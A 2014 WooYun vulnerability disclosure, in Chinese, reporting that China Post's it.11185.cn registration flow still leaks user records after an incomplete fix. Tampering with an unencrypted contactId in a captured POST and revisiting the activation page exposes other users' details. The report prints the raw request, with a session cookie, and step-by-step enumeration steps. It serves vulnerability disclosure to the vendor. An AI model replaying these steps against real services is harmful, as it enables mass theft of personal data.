[公开漏洞]中国邮政某处修复不完全致百万用户信息遍历#4 - 漏洞预警

中国邮政某处修复不完全致百万用户信息遍历#4 相关厂商：中国邮政集团公司信息技术局漏洞作者：魇提交时间：2014-04-28 16:11 公开时间：2014-06-12 16:12 漏洞类型：设计缺陷/逻辑错误危害等级：高自评Rank：20 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：设计错误设计缺陷漏洞详情披露状态：

2014-04-28：细节已通知厂商并且等待厂商处理中
2014-04-28：厂商已经确认，细节仅向厂商公开
2014-05-08：细节向核心白帽子及相关领域专家公开
2014-05-18：细节向普通白帽子公开
2014-05-28：细节向实习白帽子公开
2014-06-12：细节向公众公开

简要描述：

厂商大忌:指哪补哪...
这次应该是这个月提交的最后一个中国邮政的洞了..
邮政小伙伴们，我们下次见~

详细说明：

WooYun: 中国邮政某处设计不当可再次遍历百万用户信息

上回说道，在激活注册账户的时候，通过修改contactId可以遍历用户信息

邮政对此进行的修复是将此处的contactId进行加密，所以上次的方法已经失效..

然后我点击下一步，进行抓包也一无所获

但是在点击3.用户详细信息添加这个页面里面的下一步，获取到了这么一个POST请求

POST /chinapostintegrate/addContact.a HTTP/1.1

Host: it.11185.cn

Proxy-Connection: keep-alive

Content-Length: 429

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://it.11185.cn

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://it.11185.cn/chinapostintegrate/addActivation.a

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Cookie: JSESSIONID=27kVTpFS5J8d9HSN6zpNz9872qpqfG1JqSFWpGLGCxBQQ6DSZPll!636610549



contact.contactId=1160333&contact.pealName=&contact.sex=0&birthday=&provinceV=&contact.province=&cityV=&contact.city=&districtV=&contact.district=null&contact.address=&contact.post=&contact.customer.mobile=&contact.phone=&contact.customer.email=mengyanzhuanyong8%40126.com&contact.customer.qq=&contact.customer.weixin=&contact.customer.weibo=&contact.certType=0&contact.certNum=&contact.msn=&contact.word=&contact.income=&button=

contactId重现，而且是没加密的，然后仍旧是通过修改此处的contactId，但是修改后提交跳转到了登录成功页面..

但是修改后我们直接访问

http://it.11185.cn/chinapostintegrate/addActivation.a

这个链接

用户信息再次出现

遍历方法：不需要注册，直接访问这个链接：http://it.11185.cn/chinapostintegrate/addActivation.a ，在下一步的时候抓包修改contactId，修改后再次访问http://it.11185.cn/chinapostintegrate/addActivation.a

漏洞证明：

可自测

修复方案：

我发现提交的问题你们都修复的很快..但是..不要指哪补哪..多排查..你们更专业

危害等级：高

漏洞Rank：10

确认时间：2014-04-28 16:24

厂商回复：

谢谢